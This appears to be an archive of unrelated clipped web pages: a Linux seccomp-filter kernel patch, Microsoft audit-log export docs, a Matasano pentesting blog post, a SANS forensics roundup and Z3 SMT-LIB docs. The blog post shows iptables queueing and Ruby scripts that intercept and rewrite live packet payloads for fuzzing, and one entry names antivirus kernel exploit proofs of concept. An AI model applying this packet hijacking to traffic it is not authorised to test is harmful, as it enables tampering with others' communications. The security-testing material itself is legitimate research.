    +	 * This avoids scenarios where unprivileged tasks can affect the  
    +	 * behavior of privileged children.  
    +	 */  
    +	ret = -EACCES;  
    +	if (!current->no_new_privs &&  
    +	    security_capable_noaudit(current_cred(), current_user_ns(),  
    +				     CAP_SYS_ADMIN) != 0)  
    +		goto out;  
    +  
    +	/*  
    +	 * If there is an existing filter, make it the prev and don't drop its  
    +	 * task reference.  
    +	 */  
    +	filter->prev = current->seccomp.filter;  
    +	current->seccomp.filter = filter;  
    +	return 0;  
    +out:  
    +	put_seccomp_filter(filter);  /* for get or task, on err */  
    +	return ret;  
    +}  
    +  
    +/**  
    + * seccomp_attach_user_filter - attaches a user-supplied sock_fprog  
    + * @user_filter: pointer to the user data containing a sock_fprog.  
    + *  
    + * Returns 0 on success and non-zero otherwise.  
    + */  
    +long seccomp_attach_user_filter(char __user *user_filter)  
    +{  
    +	struct sock_fprog fprog;  
    +	long ret = -EFAULT;  
    +  
    +	if (!user_filter)  
    +		goto out;  
    +#ifdef CONFIG_COMPAT  
    +	if (is_compat_task()) {  
    +		struct compat_sock_fprog fprog32;  
    +		if (copy_from_user(&fprog32, user_filter, sizeof(fprog32)))  
    +			goto out;  
    +		fprog.len = fprog32.len;  
    +		fprog.filter = compat_ptr(fprog32.filter);  
    +	} else /* falls through to the if below. */  
    +#endif  
    +	if (copy_from_user(&fprog, user_filter, sizeof(fprog)))  
    +		goto out;  
    +	ret = seccomp_attach_filter(&fprog);  
    +out:  
    +	return ret;  
    +}  
    +  
    +/* get_seccomp_filter - increments the reference count of @orig. */  
    +void get_seccomp_filter(struct seccomp_filter *orig)  
    +{  
    +	if (!orig)  
    +		return;  
    +	/* Reference count is bounded by the number of total processes. */  
    +	atomic_inc(&orig->usage);  
    +}  
    +  
    +/* put_seccomp_filter - decrements the ref count of @orig and may free. */  
    +void put_seccomp_filter(struct seccomp_filter *orig)  
    +{  
    +	/* Clean up single-reference branches iteratively. */  
    +	while (orig && atomic_dec_and_test(&orig->usage)) {  
    +		struct seccomp_filter *freeme = orig;  
    +		orig = orig->prev;  
    +		kfree(freeme);  
    +	}  
    +}  
    +#endif	/* CONFIG_SECCOMP_FILTER */  
       
     /*  
      * Secure computing mode 1 allows only read/write/exit/sigreturn.  
    @@ -34,10 +290,11 @@ static int mode1_syscalls_32[] = {  
     void __secure_computing(int this_syscall)  
     {  
     	int mode = current->seccomp.mode;  
    -	int * syscall;  
    +	int exit_code = SIGKILL;  
    +	int *syscall;  
       
     	switch (mode) {  
    -	case 1:  
    +	case SECCOMP_MODE_STRICT:  
     		syscall = mode1_syscalls;  
     #ifdef CONFIG_COMPAT  
     		if (is_compat_task())  
    @@ -48,6 +305,14 @@ void __secure_computing(int this_syscall)  
     				return;  
     		} while (*++syscall);  
     		break;  
    +#ifdef CONFIG_SECCOMP_FILTER  
    +	case SECCOMP_MODE_FILTER:  
    +		if (seccomp_run_filters(this_syscall) == SECCOMP_RET_ALLOW)  
    +			return;  
    +		seccomp_filter_log_failure(this_syscall);  
    +		exit_code = SIGSYS;  
    +		break;  
    +#endif  
     	default:  
     		BUG();  
     	}  
    @@ -56,7 +321,7 @@ void __secure_computing(int this_syscall)  
     	dump_stack();  
     #endif  
     	audit_seccomp(this_syscall);  
    -	do_exit(SIGKILL);  
    +	do_exit(exit_code);  
     }  
       
     long prctl_get_seccomp(void)  
    @@ -64,25 +329,48 @@ long prctl_get_seccomp(void)  
     	return current->seccomp.mode;  
     }  
       
    -long prctl_set_seccomp(unsigned long seccomp_mode)  
    +/**  
    + * prctl_set_seccomp: configures current->seccomp.mode  
    + * @seccomp_mode: requested mode to use  
    + * @filter: optional struct sock_fprog for use with SECCOMP_MODE_FILTER  
    + *  
    + * This function may be called repeatedly with a @seccomp_mode of  
    + * SECCOMP_MODE_FILTER to install additional filters.  Every filter  
    + * successfully installed will be evaluated (in reverse order) for each system  
    + * call the task makes.  
    + *  
    + * Once current->seccomp.mode is non-zero, it may not be changed.  
    + *  
    + * Returns 0 on success or -EINVAL on failure.  
    + */  
    +long prctl_set_seccomp(unsigned long seccomp_mode, char __user *filter)  
     {  
    -	long ret;  
    +	long ret = -EINVAL;  
       
    -	/* can set it only once to be even more secure */  
    -	ret = -EPERM;  
    -	if (unlikely(current->seccomp.mode))  
    +	if (current->seccomp.mode &&  
    +	    current->seccomp.mode != seccomp_mode)  
     		goto out;  
       
    -	ret = -EINVAL;  
    -	if (seccomp_mode && seccomp_mode <= NR_SECCOMP_MODES) {  
    -		current->seccomp.mode = seccomp_mode;  
    -		set_thread_flag(TIF_SECCOMP);  
    +	switch (seccomp_mode) {  
    +	case SECCOMP_MODE_STRICT:  
    +		ret = 0;  
     #ifdef TIF_NOTSC  
     		disable_TSC();  
     #endif  
    -		ret = 0;  
    +		break;  
    +#ifdef CONFIG_SECCOMP_FILTER  
    +	case SECCOMP_MODE_FILTER:  
    +		ret = seccomp_attach_user_filter(filter);  
    +		if (ret)  
    +			goto out;  
    +		break;  
    +#endif  
    +	default:  
    +		goto out;  
     	}  
       
    - out:  
    +	current->seccomp.mode = seccomp_mode;  
    +	set_thread_flag(TIF_SECCOMP);  
    +out:  
     	return ret;  
     }  
    diff --git a/kernel/sys.c b/kernel/sys.c  
    index 4686119..0addc11 100644  
    --- a/kernel/sys.c  
    +++ b/kernel/sys.c  
    @@ -1955,7 +1955,7 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,  
     			error = prctl_get_seccomp();  
     			break;  
     		case PR_SET_SECCOMP:  
    -			error = prctl_set_seccomp(arg2);  
    +			error = prctl_set_seccomp(arg2, (char __user *)arg3);  
     			break;  
     		case PR_GET_TSC:  
     			error = GET_TSC_CTL(arg2);  
    --   
    1.7.5.4  
      
    
[/code]

# Export, configure, and view audit log records - Microsoft 365 Compliance | Microsoft Docs
**Created:**| _4/18/2020 12:29:55 PM_  
---|---  
**Updated:**| _4/18/2020 12:29:55 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Export, configure, and view audit log records

  * 03/24/2020 •
  * 6 minutes to read•
  *     * <img src='img/markjjo.png' width='16' height='16' />
    * <img src='img/pebaum.png' width='16' height='16' />
    * <img src='img/rjagiewich.png' width='16' height='16' />

After you search the Office 365 audit log and download the search results to a
CSV file, the file contains a column named **AuditData** , which contains
additional information about each event. The data in this column is formatted
as a JSON object, which contains multiple properties that are configured as
_property:value_ pairs separated by commas. You can use the JSON transform
feature in the Power Query Editor in Excel to split each property in the JSON
object in the **AuditData** column into multiple columns so that each property
has its own column. This lets you sort and filter on one or more of these
properties, which can help you quickly locate the specific auditing data
you're looking for.

## Step 1: Export audit log search results

The first step is to search the audit log and then export the results in a
comma-separated value \(CSV\) file to your local computer.

  1. Run an audit log search and revise the search criteria if necessary until you have the desired results.
  2. Click **Export results** and select **Download all results**.
<img src='img/Temp2_3035.jpg' width='687' height='281' />

This option to exports all the audit records from the audit log search you ran
in step 1, and downloads the raw data from the audit log to a CSV file.

A message is displayed at the bottom of the window that prompts you to open or
save the CSV file.

  3. Click **Save > Save as** and save the CSV file to your local computer. It takes a while to download many search results. This is typically the case when searching for all activities or a broad date range. A message at the bottom of the windows is displayed when the CSV file is finished downloading.
<img src='img/Temp2_3036.jpg' width='438' height='54' />

７ Note

You can download a maximum of 50,000 entries to a CSV file from a single audit
log search. If 50,000 entries are downloaded to the CSV file, you can probably
assume there are more than 50,000 events that met the search criteria. To
export more than this limit, try using a date range to reduce the number of
audit log records. You might have to run multiple searches with smaller date
ranges to export more than 50,000 entries.

## Step 2: Format the exported audit log using the Power Query Editor

The next step is to use the JSON transform feature in the Power Query Editor
in Excel to split each property in the JSON object in the **AuditData** column
into its own column. Then you filter columns to view records based on the
values of specific properties. This can help you quickly locate the specific
auditing data you're looking for.

  1. Open a blank workbook in Excel for Office 365, Excel 2019, or Excel 2016.
  2. On the **Data** tab, in the **Get & Transform Data** ribbon group, click **From Text/CSV**.
<img src='img/Temp2_3034.jpg' width='559' height='288' />

  3. Open the CSV file that you downloaded in Step 1.
  4. In the window that's displayed, click **Transform Data**.
<img src='img/Temp2_3037.jpg' width='687' height='384' />

The CSV file is opened in the **Query Editor**. There are four columns:
**CreationDate** , **UserIds** , **Operations** , and **AuditData**. The
**AuditData** column is a JSON object that contains multiple properties. The
next step is to create a column for each property in the JSON object.

  5. Right-click the title in the **AuditData** column, click **Transform** , and then click **JSON**.
<img src='img/Temp2_3031.jpg' width='687' height='560' />

  6. In the upper-right corner of the **AuditData** column, click the expand icon.
<img src='img/Temp2_3032.jpg' width='404' height='169' />

A partial list of the properties in the JSON objects in the **AuditData**
column is displayed.

  7. Click **Load more** to display all properties in the JSON objects in the **AuditData** column.
<img src='img/Temp2_3033.jpg' width='358' height='410' />

You can unselect the checkbox next to any property that you don't want to
include. Eliminating columns that aren't useful for your investigation is a
good way to reduce the amount of data displayed in the audit log.

７ Note

The JSON properties displayed in the previous screenshot \(after you click
**Load more**\) are based on the properties found in the **AuditData** column
from the first 1,000 rows in the CSV file. If there are different JSON
properties in records after the first 1,000 rows, these properties \(and a
corresponding column\) won't be included when the **AuditData** column is
split into multiple columns. To help prevent this, consider re-running the
audit log search and narrow the search criteria so that fewer records are
returned. Another workaround is to filter items in the **Operations** column
to reduce the number of rows \(before you perform step 5 above\) before
transforming the JSON object in the **AuditData** column.

  8. Do one of the following things to format the title of the columns that are added for each JSON property that's selected.
     * Unselect the **Use original column name as prefix** checkbox to use the name of the JSON property as the column names; for example, **RecordType** or **SourceFileName**.
     * Leave the **Use original column name as prefix** checkbox selected to add the AuditData prefix to the column names; for example, **AuditData.RecordType** or **AuditData.SourceFileName**.
  9. Click **OK**.
The **AuditData** column is split into multiple columns. Each new column
corresponds to a property in the AuditData JSON object. Each row in the column
contains the value for the property. If the property doesn't contain a value,
the _null_ value is displayed. In Excel, cells with null values are empty.

  10. On the **Home** tab, click **Close & Load** to close the Power Query Editor and open the transformed CSV file in an Excel workbook.

## Tips for exporting and viewing the audit log

Here are some tips and examples of exporting and viewing the audit log before
and after you use the JSON transform feature to split the **AuditData** column
into multiple columns.

  * Filter the **RecordType** column to display only the records from a specific Office 365 service or functional area. For example, to show events related to SharePoint sharing, you would select **14** \(the enum value for records triggered by SharePoint sharing activities\). For a list of the Office 365 services that correspond to the enum values displayed in the **RecordType** column, see Detailed properties in the Office 365 audit log.
  * Filter the **Operations** column to display the records for specific activities. For a list of most operations that correspond to a searchable activity in the audit log search tool in the Security & Compliance Center, see the "Audited activities" section in Search the audit log in the Security & Compliance Center.
  * Instead of using the audit log search tool in the Security & Compliance Center, you can use the Search-UnifiedAuditLog cmdlet in Exchange Online Powershell to export the results of an Office 365 audit log search to a CSV file. Then you can follow the same procedure described in Step 2 to format the audit log using the Power Query editor. One advantage of using the PowerShell cmdlet is that you can search for events from a specific Office 365 service by using the _RecordType_ parameter. Here are few examples of using PowerShell to export audit records to a CSV file so you can use the Power Query editor to transform the JSON object in the **AuditData** column as described in Step 2.
In this example, run the following commands to return all records related to
SharePoint sharing operations.

PowerShell

[code]    $auditlog = Search-UnifiedAuditLog -StartDate 06/01/2019 -EndDate
06/30/2019 -RecordType SharePointSharingOperation

    
[/code]

PowerShell

[code]    $auditlog | Select-Object -Property CreationDate,UserIds,RecordType,AuditData | Export-Csv -Path c:\AuditLogs\PowerShellAuditlog.csv -NoTypeInformation
    
[/code]

    * The search results are exported to a CSV file named _PowerShellAuditlog_ that contains four columns: CreationDate, UserIds, RecordType, AuditData\).
    * You can use the name or enum value for the record type as the value for the _RecordType_ parameter. For a list of record type names and their corresponding enum values, see the _AuditLogRecordType_ table in Office 365 Management Activity API schema.
    * You can only include a single value for this parameter. To search for audit records for other record types, you have to run the two previous commands again to specify a different record type and append those results to the original CSV file. For example, you would run the following two commands to add SharePoint file activities from the same date range to the PowerShellAuditlog.csv file.
[code]           ```powershell

          $auditlog = Search-UnifiedAuditLog -StartDate 06/01/2019 -EndDate 06/30/2019 -RecordType SharePointFileOperation
          ```
        
          ```powershell
          $auditlog | Select-Object -Property CreationDate,UserIds,RecordType,AuditData | Export-Csv -Append -Path c:\AuditLogs\PowerShellAuditlog.csv -NoTypeInformation
          ```
        
[/code]

## Feedback

Send feedback about

This product Ｍ

You may also leave feedback directly on GitHub Ｍ.

Loading feedback...

# bee13oy/AV\_Kernel\_Vulns

**Created:**| _6/29/2017 4:13:16 PM_  
---|---  
**Updated:**| _6/29/2017 4:13:16 PM_  
**Author:**| __  
**Tags:**| _LOLZ antivirus_  
  

  

Pocs for Antivirus Software‘s Kernel Vulnerabilities

  

# Matasano Chargen » Blog Archive » Ruby for PenTesters: Inline PacketFu With
An Embedded Ruby Interpreter

**Created:**| _5/8/2009 8:23:26 PM_  
---|---  
**Updated:**| _5/8/2009 8:24:43 PM_  
**Author:**| __  
**Tags:**| _ruby_  
  

### Ruby for PenTesters: Inline PacketFu With An Embedded Ruby Interpreter

Chris | May 1st, 2009 | Filed Under: Uncategorized
Ruby for PenTesters: Inline PacketFu With An Embedded Ruby Interpreter

This post is part of an informal series discussing the Ruby programming
language for various tasks related to penetration testing. Many of us at
Matasano do a lot of our coding in Ruby. We like using it when we need to
write our own tools \(which we do frequently\). If your interested in more of
our Ruby tools then browse back through our blog, or read on\!

A pentester has many options available to him/her when it comes to hijacking
packets off the wire for modification. A lot of people take the proxy route, I
prefer the transparent hijack method myself. Awhile ago I wrote a tool called
Quefuzz, its a fuzzer written in C that uses libnetfilter\_queue to fuzz
packets transparently. Basically you run an IPtables command:

iptables -A INPUT -p tcp —dport 9191 -j QUEUE

This will queue all TCP traffic with a destination port of 9191 is queue’d up
for QueFuzz to fuzz and send back on the wire. It works pretty well, but after
all its a fuzzer written in C, and that can only be stretched so far.

When it comes to writing fuzzers I prefer a flexible language like Ruby. I
wanted to keep my beloved QueFuzz around for awhile but I could not find any
Ruby/NetFilter wrappers on the internet \(yes one exists for libipq, but
that’s out of date\). I absolutely hate wrapping C libraries in Ruby, its
often a giant mess and it takes forever. Wrapping libnetfilter\_queue would
take too long, I needed a better solution, one that could use my existing code
and get me fuzzing packets in about 30 minutes. So I turned the tables and
embedded the Ruby interpreter into my C code.

This is documented out there on the internet if your interested. Here is a
really simple example of how to call a Ruby script from C and share a string
between them:

/\* simple.c \*/  
\#include stdio.h  
\#include ruby.h  
  
int main\(int argc, char \*argv\[\]\)  
\{  
VALUE string;  
ruby\_init\(\);  
string = rb\_str\_new2\("Some String"\);  
rb\_load\_file\("simple.rb"\);  
rb\_define\_variable\("glbl", &amp;string\);  
rb\_global\_variable\(&amp;string\);  
ruby\_exec\(\);  
rb\_eval\_string\("example"\);  
printf\("%s\n", STR2CSTR\(string\)\);  
ruby\_finalize\(\);  
return 0;  
\}

Our example Ruby script, simple.rb

def example  
puts $glbl  
$glbl = "Hello from Ruby\!"  
end

Compile simple.c

$ gcc -I/usr/lib/ruby/1.8/i486-linux/ -lruby1.8 -o simple simple.c $ ./simple

Some String

Hello from Ruby\!

And there we go, we created a string in C, passed it to our Ruby script,
modified it with the script and printed it out in C using the STR2CSTR macro.
There are of course more elegant ways of doing this, but this is a good place
to start.

Where was I? Oh yah, so I had all this perfectly good C code sitting around
and it was going to waste. I implemented something similar to the examples I
outlined above with my libnetfilter C code and in about 30~ minutes I had a 4
line Ruby script modifying packet data passed to it by my C program. This is
great, I was able to use my old code and add a dynamic language into the mix
in no time at all. I call it QueRub.

Now of course I don’t need the fuzzing code I wrote in C \(its awful anyway\).
We now have a choice to either do the packet processing in C, and hand the
packet off to a different Ruby method depending on the packet contents, or
implement the logic in Ruby. The Ruby script is the obvious choice, as it’s
much faster to implement and does not require any compilation. QueRub does
however recalculate IP/TCP/UDP checksums after Ruby passes back the packet.
This too, is easy in Ruby but the C code was already in place so I kept it.

Here is a quick overview of how to run and use QueRub:

  1. We take our example IPTables rule from earlier and queue all outbound TCP packets with a destination port of 9191.

iptables -A OUTPUT -p tcp —dport 9191 -j QUEUE

  1. Run QueRub by telling it which script we want it to call and which method should be invoked when a packet is received. It will not check if your method exists, so make sure you don’t fat finger that.

$ cat simple-querub.rb  
def my\_method  
puts "Got a packet\!"  
puts $pkt.inspect  
puts "Packet Size: \#\{$pkt.size\}"  
end

$ ./querub simple-querub.rb my\_method

  1. Using telnet, connect a remote instance of netcat on TCP port 9191. I sent the string “THIS IS A TEST\!” and heres my QueRub terminal output:

Got a packet\!  
“E2000E\301\325@00@06z\313\177000001\177000001\254A\#\347\301X\206\312\301,j37\200300201\
211\23500000101\b\n02UPh02U/\215THIS IS A TEST\!\r\n”  
Packet Size: 69

So lets take a real example of a protocol that base64 encodes its entire
payload. Pretty simple, but entirely realistic. Maybe we want to inspect its
payload and replace it with another. This should be trivial in Ruby. Our
packet is already a string so all we need to do is decode the string, inspect
it, make our modifications, reencode it and pass it back to netfilter.

First we will need a simple Ruby script to decode and modify our payload. Our
example is really simple and does not check the packet type or read the
appropriate packet headers.

require ‘base64’  
  
def simple  
if $pkt.size&gt; 52  
pkt\_b = $pkt\[52, $pkt.size\]  
puts "Base64 Payload: %s" % Base64::decode64\(pkt\_b\)  
$pkt = $pkt.gsub\(/\#\{pkt\_b\}/, Base64::encode64\("Hijacked by QueRub\!"\)\)  
end  
end

Creating a simple client to test this is easy as well:

require ‘base64’  
require ‘net/telnet’  
o = Base64::encode64\("This is a test\!"\)  
c = Net::Telnet::new\("Host" =&gt; "127.0.0.1", "Port" =&gt; 9191,
"Telnetmode" =&gt; false\)  
c.cmd\(o\)

Now we run Querub:

$./querub simple.rb simple

Run a server:

$ nc -l -p 9191

Run the client:

$ ruby client.rb

In the QueRub terminal you should see the following when the packet is
intercepted:

Base64 Payload: This is a test\!

In our netcat terminal we should see:

$ nc -l -p 9191  
SGlqYWNrZWQgYnkgUXVlUnVi  
$ echo SGlqYWNrZWQgYnkgUXVlUnVi | base64 -d  
Hijacked by QueRub

Note: The netfilter library passes us the entire packet from the IP header
down, so be careful of the offset you start to fuzz at. In my example I
cheated and grabbed the data using a hard coded offset of 52 \(IP header + TCP
header\).

Ruby’s flexibility opens up all kinds of doors for us. With one ‘require’
statement its hooked into Eric’s blackbag which lets us do stuff like
“$pkt.blit”. Which would take a packet from one connection and stuff it into
another pre-existing session. In fact a lot of the rbkb tools are a good
companion to QueRub when it comes to reversing and fuzzing protocols. Another
no-brainer is Matasano’s Ruckus \[http://github.com/tqbf/ruckus/tree/master\],
which makes parsing and fuzzing packets really easy. Fuzzing is not the only
useful thing we can do here. We can use this to manually reverse engineer
network protocols with ease by dropping into Ruby’s interactive shell \(IRB\)
when a specific packet is received, make a manual edit and send the packet on
its way.

“But doesn’t this call a Ruby script each time a packet is received\!?” - Yah
it’s pretty inefficient, but its a fuzzer so don’t worry so much. If your
looking for uber-fast 1gbps fuzzage then you should probably stay away from
Ruby in general.

I should probably mention this will only work on Linux because of the
netfilter dependency. But this is a good thing cause it brings the idea behind
Jeremy’s PDB to another platform \(PDB used BSD Divert sockets\). Here is the
full code and an example Ruby script for modifying packets. I will most likely
create some neat tools by mashing QueRub with rbkb and ruckus. Keep an eye out
for them. Enjoy.

### People We Read

  * Adam Shostack & Friends
  * Aki Kamozawa & H. Alexander Talbot
  * Amrit Williams
  * Andrew Donofrio
  * Bunnie Huang
  * Cambridge Security Lab Blog
  * David Litchfield
  * Dowd, McDonald, and Schuh
  * Eric Rescorla
  * Halvar Flake
  * Ilfak Guilfanov
  * Jeremiah Grossman
  * Ken “Skywing” Johnson
  * Metasploit Team
  * Mike Rothman
  * Nate Lawson
  * nCircle Team
  * Peter Lindstrom
  * Richard Bejtlich
  * The Veracode Blog

### Things We Write

  * Apple \(50\)
  * Bitching About Protocols \(30\)
  * Citysec \(2\)
  * Defenses \(110\)
  * Development \(26\)
  * Disclosure \(77\)
  * Don't Believe The Hype \(2\)
  * Feature \(7\)
  * Gatherings \(71\)
  * Guests \(22\)
  * Industry Punditry \(181\)
  * Interviews \(1\)
  * Malware \(12\)
  * Matasano \(68\)
  * Navel Gazing \(47\)
  * New Findings \(55\)
  * NYSec \(5\)
  * Playbook \(2\)
  * Reversing \(36\)
  * Slashdot Rounddown \(16\)
  * This Old Vulnerability \(12\)
  * Uncategorized \(404\)

###### Archives  

  * May 2009
  * March 2009
  * February 2009
  * January 2009
  * December 2008
  * October 2008
  * September 2008
  * July 2008
  * June 2008
  * May 2008
  * April 2008
  * March 2008
  * February 2008
  * January 2008
  * December 2007
  * November 2007
  * October 2007
  * September 2007
  * August 2007
  * July 2007
  * June 2007
  * May 2007
  * April 2007
  * March 2007
  * February 2007
  * January 2007
  * December 2006
  * November 2006
  * October 2006
  * September 2006
  * August 2006
  * July 2006
  * June 2006
  * May 2006
  * April 2006
  * March 2006
  * February 2006
  * January 2006
  * December 2005
  * November 2005
  * October 2005
  * September 2005
  * August 2005
  * July 2005
  * June 2005
  * May 2005
  * April 2005
  * March 2005
  * January 2005
  * December 2004

# Digital Forensics Case Leads: An OS X based Live CD, a Free Forensics App
for Wi

**Created:**| _9/10/2010 9:53:45 AM_  
---|---  
**Updated:**| _9/10/2010 9:53:45 AM_  
**Author:**| _wishi_  
**Tags:**| _security tools Forensics Mac-hacking_  
  

## Digital Forensics Case Leads: An OS X based Live CD, a Free Forensics App
for Windows, Spying, and High Performance Password Cracking

Posted by Ray Strubinger on August 26, 2010 – 1:03 pm

Filed under Case Leads, Computer Forensics, Evidence Acquisition, Incident
Response, Windows IR

This week’s edition of Case Leads features an OS X based Live CD, a free tool
for gathering evidence from HBGary, spying, and the threat video cards pose to
passwords.

As always, if you have an interesting item you think should be included in the
Digital Forensics Case Leads posts, you can send it to caseleads@sans.org.

**Tools:**

  * Creating an OS X Incident Response CD for Live Response - Tom Webb has a write up that discusses the process for building a basic OS X based CD for live analysis.  The how-to addresses a few unique features of OS X and includes a method for dealing with OS X’s non-static binaries.  Suggestions for binaries to include on the CD and commands useful for IR on OS X are covered.  Tom has also included a starter script that will help with information gathering during the IR process.
  * HBGary releases FGet, a free tool able to forensically extract remote files from raw NTFS volumes.  The application is able to forensically extract any file, including deleted files and files that are in-use and locked without altering the file’s attributes or timestamps.  The tool is able to acquire the $MFT, registry files, system restore points and the recycle bin just to name a few.   By default, fget will collect the user list along with NTUser.dat, the prefetch directory, and everything under windowssystem32config – all of which it stores in a directory named after the target machine.

**Good Reads:**

  * Graphics Processing Units \(GPUs\) May Threaten Password Security - Researchers at the Georgia Tech Research Institute are using readily available and inexpensive multi-core graphics processors to test the strength of passwords.  Using powerful video cards such as those typically found in computers for high-end gaming and a software development kit that readily enables applications to be created for the hardware, researchers are creating applications that enable them to quickly brute force passwords.  Based in their work the researchers suggest that passwords shorter than 12 characters could soon be vulnerable.
  * The Computer Crime & Intellectual Property Section of the United States Department of Justice have a flowchart of a digital forensics analysis methodology.  The flowchart focuses on the preparation/extraction, identification, and analysis phases.

**News:**

  * More spying, this time in Sweden.  It’s not another Russian spy ring though that incident may have served as the inspiration for the operation.  A pair of teenage Swedish schoolgirls decided to bug a teacher’s meeting in order to learn how to improve their grades.  They might have gotten away with it but they happened to brag about their mission on Facebook.
  * Staying with the spy theme, Cleveland, Ohio will soon join Alexandria, Virginia in their use of a “1984-style” trash carts.  These carts will tell the city if more than 10% of the material in the cart is recyclable.  If too much recyclable material is in the trash cart, the resident could receive a $100 fine.  No word yet on the digital forensics potential of these recycle bins.

**Levity:**

  * Consulting a teardown site is common when dealing with a new piece of hardware.  This method is not recommended for an iPod Nano.
  * Are you unhappy with your cell phone?  This guy put his phone in a microwave.

**Coming Events:**

  * Reverse Engineering Malware with Lenny Zeltser \- New York City – Oct 25- Oct 29 2010
  * SANS Digital Forensics and Incident Response Summit, London 8 – 9 September.
  * SANS Network Security 2010, Las Vegas, Sept 19 – 27 2010
  * HTCIA’s annual International Conference, Atlanta GA, 20 – 22 September.
  * 2010 Wisconsin Association of Computer Crime Investigators \(WACCI\) Oct 12 – 15
  * Paraben’s Forensics Innovations Conference, Park City Utah 7-10 Nov
  * SANS Incident Detection and Log Management Summit, Washington DC, 8 – 9 December.

_Digital Forensics Case Leads for 20100826 was compiled by Ray Strubinger_ _of
the Georgia Institute of Technology.   Ray leads the digital forensics and
incident response team and when the incidents permit, he is involved in
various aspects of the Institute’s defense-in-depth strategy including Data
Loss Prevention, Full Disk Encryption, and Education Awareness._ If you have
an article to suggest for case leads please email it to caseleads@sans.org.

  *[August 26, 2010 – 1:03 pm]: 2010-08-26T13:03:11+0000

# Z3: SMT solver

**Created:**| _11/18/2010 5:52:34 PM_  
---|---  
**Updated:**| _11/18/2010 5:52:58 PM_  
**Author:**| __  
**Tags:**| _research reversing Microsoft projects solver SMT_  
  

An Efficient SMT Solver

# SMT-LIB format

The SMT-LIB input format is described on the SMT-LIB web site: SMT-LIB input
format.

The Native Z3 format re-uses the function names used in SMT-LIB. A table of
the relevant function names is summarized in the documentation for Z3
theories.

## SMT-LIB Extensions

Z3 uses a few extensions to SMT-LIB. These are described in the following.

### Pattern Definitions.

Z3 uses an extension for pattern annotation. It is found in some SMT-LIB
benchmarks, but is not widely documented. The annotation `:pat` is used to
annotate quantifiers. It is a hint for Z3 \(and other SMT solvers\) on how to
instantiate the universally quantified formula.

The grammar is

[code]

      [PATTERN_ANNOTATION] ::= :pat { [EXPR]+ }
    
    
[/code]

Example:

[code]

      (forall (?ind__1 Int) (?val__1 Int)
             (implies (= (Is_BOOLEAN ?val__1) Smt.true) 
                         (= (Is_REFANY_BOOLEAN_MAP (store1 ?map__3 ?ind__1 ?val__1))  Smt.true))
             :pat {(store1 ?map__3 ?ind__1 ?val__1)}))
    
    
[/code]

Z3 will instantiate this quantifier whenever it can find an instance of the
pattern `(store1 ?map__3 ?ind__1 ?val__1)` `:pat` may contain more than one
expression. In this case, we say it is a multi-pattern, and the quantifier
will only be instantiated if Z3 can simultaneously match all of them. The
concept of patterns and multi-patterns was introduced in the Simplify theorem
prover. The engine used for pattern instantiation is explained in our paper on
efficient E-matching.

### Weight annotations

The Simplify input format allows annotating quantifiers with weights. These
weights influence the priority of quantifier instantiation. The corresponding
annotation in SMT-LIB is `:weight` followed by an unsigned integer annotation.

The grammar is

[code]

      [WEIGHT_ANNOTATION] ::= :weight { [INT] }
    
    
[/code]

Example:

[code]

       (benchmark weight
        :logic AUFLIRA
        :extrapreds ((P Int Int))
        :formula (forall (x Int) (P x 0) :weight { 12 })
       )
    
    
[/code]

### Labels

Similarly to the Simplify input format you can annotate Boolean expressions as
labels. You can use integers and identifiers to name labels. The syntax is:

[code]

      [LABEL_EXPR] ::= (lblpos [NAME] [EXPR])
                    |  (lblneg [NAME] [EXPR])
      [NAME]       ::= INT | ID
    
    
[/code]

The following example contains two labels.

[code]

      (benchmark labels
       :logic QF_AUFLIA
       :extrafuns ((start_correct bool) (A Int) (B Int) (f bool Int))
       :extrafuns ((ReallyLastGeneratedExit_correct bool) 
                    (x@0 Int) (x@1 Int)(x@2 Int) (y@1 Int)
                    (t@0 Int) (tt@0 bool) (x Int) (y Int) (A-2-end_correct bool) (B-2-end_correct bool)
                    (A_correct bool) (B_correct bool) (y@0 Int) (t Int) (end_correct bool)
                    (a Int) (b Int)
                    )
      :formula
       (and (= (f (< A B)) 5)
         (or start_correct 
            (not (or start_correct
              (not (or (not (= a b)) (not (equiv tt@0 (= a b)))
              (lblneg 190 (not tt@0)) (not (lblpos 106 true))))
         ))))
       )
    
    
[/code]

### Sort Definitions

There is a construct for defining sort names.

[code]

      :define_sorts ((IntArray  (array Int Int)))
    
    
[/code]

introduces the name `IntArray` which can be used instead of the compound sort
`(array Int Int)`.

Then, the term `(const[IntArray] 0)` can be used for the array of integers
where all indices map to 0.

### Data-types

The `:datatypes` attribute lets you define recursive data-types such as lists.

[code]

      (benchmark data 
       :status unsat 
       :datatypes ((list (cons (car Int) (cdr list)) nil))
     
       :extrafuns ((a list) (b list) (c list))
    
       :formula (and (= a (cons 10 b)) (not (= (car a) 10)))
      )
    
    
[/code]

Tuples and records are just special cases \(non-recursive data-types\):

[code]

      (benchmark data 
       :status unsat 
       :datatypes ((tuple (mk (first Int) (second Int))))
       :extrafuns ((a tuple) (b tuple))
       :formula  (and (= (first a) (first b))
                       (= (second a) (second b))
                       (not (= a b)))
      )
    
    
[/code]

You can declare mutually recursive data-types

[code]

       :datatypes ((tree (node (children list)) (leaf (val Int)))
                   (list (cons (car tree) (cdr list)) nil))
    
    
[/code]

The grammar is:

[code]

      [DATATYPE_DECLS] ::= :datatypes ( [DATATYPE]+ )
      [DATATYPE] ::= ( [ID] [CONSTRUCTOR_DECL]+ )
      [CONSTRUCTOR_DECL] ::= [ID] | ( [ID] [SORT]+)
    
    
[/code]

### Arrays

Z3 provides a few extensions to the theory of arrays. The theoretical basis is
explained in MSR-TR-121.

The extensions comprise of operations:

[code]

      (default[array_type] a) 
           Access the default element of an array.
           default takes one argument, an array 'a', and 
           returns a value in the range of the array.
           If the model for 'a' maps all but a finite 
            number of domain elements to the same value 'v', then 
           '(default[array_type] a)' will produce the value 'v'.
    
      (const[array_type] v) 
           Produce an array that maps everything to the value 'v'.
    
      (map[unary_function_symbol] a)
      (map[binary_function_symbol] a b)
      (map[ternary_function_symbol] a b c)
           Produce an array such that, respectively:
    
            (forall (i Index) (= (select (map[unary_f] a) i) (unary_f (select a i))))
    
            (forall (i Index) (= (select (map[binary_f] a b) i) (binary_f (select a i) (select b i)))
    
            (forall (i Index) (= (select (map[ternary_f] a b c) i) (unary_f (select a i) (select b i) (select c i))))
    
    
[/code]

The following example uses `default`, `const` and `map`.

[code]

      (benchmark additive_bags
      :status unsat  
      :define_sorts ((IntArray  (array Int Int)))
      :extrafuns ((add_int Int Int Int) (bag IntArray))
